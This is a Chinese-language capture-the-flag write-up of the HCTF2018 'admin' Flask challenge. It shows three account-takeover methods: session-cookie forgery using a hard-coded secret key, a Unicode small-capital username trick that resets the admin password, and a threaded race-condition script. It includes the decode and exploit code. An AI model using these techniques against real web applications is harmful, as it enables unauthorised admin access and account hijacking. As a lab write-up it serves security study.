前言

有幸拿到了这道题的1血,也在赛后的交流讨论中,发现了一些新的思路,总结一下3个做法:

  • 法1:伪造session
  • 法2:unicode欺骗
  • 法3:条件竞争

 

信息搜集

拿到题目

http:///


f12查看源代码

<!-- you are not admin -->


发现提示要成为admin

随便注册个账号,登入后,在

view-source:http:///change


发现提示

<!-- https:///woadsl1234/hctf_flask/ -->


于是下载源码

 

功能分析

拿到代码后,简单的查看了下路由

@app.route('/index')
def index():

@app.route('/register', methods = ['GET', 'POST'])
def register():

@app.route('/login', methods = ['GET', 'POST'])
def login():

@app.route('/logout')
def logout():

@app.route('/change', methods = ['GET', 'POST'])
def change():

@app.route('/edit', methods = ['GET', 'POST'])
def edit():


查看一下路由,功能非常单一:登录,改密码,退出,注册,edit。

但edit功能也是个假功能,并且发现并不会存在sql注入之类的问题,也没有文件写入或者是一些危险的函数,此时陷入了困境。

 

解法一:session伪造

初步探索

想到的第一个方法:session伪造

于是尝试伪造session,根据ph写的文章

https://www.leavesongs.com/PENETRATION/client-session-security.html


可以知道flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

所以我们构造脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))


然后可以尝试读取我们的session内容

HCTF2018-admin_flask

此时容易想到伪造admin得到flag,因为看到代码中

HCTF2018-admin_CTF_02

想到把name伪造为admin,于是github上找了个脚本

https:///noraj/flask-session-cookie-manager


尝试伪造

{u'csrf_token': 'bedddc7469bf16ac02ffd69664abb7abf7e3529c', u'user_id': u'1', u'name': u'admin', u'image': 'aHme', u'_fresh': True, u'_id': '26a01e32366425679ab7738579d3ef6795cad198cd94529cb495fcdccc9c3c864f851207101b38feb17ea8e7e7d096de8cad480b656f785991abc8656938182e'}


但是需要SECRET_KEY

我们发现config.py中存在

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'


于是尝试ckj123

HCTF2018-admin_github_03

但是比赛的时候很遗憾,最后以失败告终,当时以为key不是SECRET_KEY,就没有深究

后来发现问题https://graneed.hatenablog.com/entry/2018/11/11/212048

似乎python3和python2的flask session生成机制不同

HCTF2018-admin_CTF_04

改用python3生成即可成功伪造管理员

HCTF2018-admin_python_05

 

解法二:Unicode欺骗

代码审计

在非常迷茫的时候,肯定想到必须得结合改密码功能,那会不会是change这里有问题,于是仔细去看代码,发现这样一句

HCTF2018-admin_python_06

好奇怪,为什么要转小写呢?

难道注册的时候没有转大小写吗?

HCTF2018-admin_python_07

HCTF2018-admin_CTF_08

但随后发现注册和登录都用了转小写,注册ADMIN的计划失败

但是又有一个特别的地方,我们python转小写一般用的都是lower(),为什么这里是strlower()?

有没有什么不一样的地方呢?于是想到跟进一下函数

def strlower(username):
username = nodeprep.prepare(username)
return username


本能的去研究了一下nodeprep.prepare

找到对应的库

https:///twisted/twisted


这个方法很容易懂,即将大写字母转为小写

但是很快就容易发现问题

HCTF2018-admin_github_09

HCTF2018-admin_github_10

版本差的可真多,十有八九这里有猫腻

unicode问题

后来搜到这样一篇文章

https:///a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e


对于如下字母

HCTF2018-admin_flask_11

ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ


具体编码可查https://unicode-table.com/en/search/?q=small+capital

nodeprep.prepare会进行如下操作

ᴀ -> A -> a


HCTF2018-admin_flask_12

即第一次将其转换为大写,第二次将其转换为小写

那么是否可以用来bypass题目呢?

攻击构造

我们容易想到一个攻击链:

  • 注册用户ᴀdmin
  • 登录用户ᴀdmin,变成Admin
  • 修改密码Admin,更改了admin的密码

于是成功得到如下flag

HCTF2018-admin_ico_13

扩展

这里的unicode欺骗,让我想起了一道sql注入题目

skysec.top/2018/03/21/从一道题深入mysql字符集与比对方法collation/


 

解法三:条件竞争

该方法也是赛后交流才发现的,感觉有点意思

代码审计

我们发现代码在处理session赋值的时候

HCTF2018-admin_github_14

HCTF2018-admin_CTF_15

两个危险操作,一个登陆一个改密码,都是在不安全check身份的情况下,直接先赋值了session

那么这里就会存在一些风险

那么我们设想,能不能利用这一点,改掉admin的密码呢?

例如:

  • 我们登录sky用户,得到session a
  • 用session a去登录触发admin赋值
  • 改密码,此时session a已经被更改为session b了,即session name=admin
  • 成功更改admin的密码

但是构想是美好的,这里存在问题,即前两步中,如果我们的Session a是登录后的,那么是无法再去登录admin的

HCTF2018-admin_CTF_16

我们会在第一步直接跳转,所以这里需要条件竞争

条件竞争思路

那么能不能避开这个check呢?

答案是显然的,我们双线并进

当我们的一个进程运行到改密码

HCTF2018-admin_github_17

这里的时候

我们的另一个进程正好退出了这个用户,并且来到了登录的这个位置

HCTF2018-admin_CTF_18

此时正好session name变为admin,change密码正好更改了管理员密码

payload

这里直接用研友syang​​@Whitzard​​的脚本了

import requests
import threading

def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http:///login", data=data)

def logout(s):
return s.get("http:///logout")

def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http:///change", data=data)

def func1(s):
login(s, 'skysec', 'skysec')
change(s, 'skysec')

def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="/index">/index</a>' in res.text:
print('finish')

def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()

if __name__ == "__main__":
main()


注:但在后期测试中我没能成功,后面再研究一下,但我认为思路应该是正确的。

 

后记

题目可能因为一些失误有一些非预期,但是能进行这么多解法,对学习还是非常有帮助的。

 

 





__EOF__



HCTF2018-admin_python_19


作者: 随风kali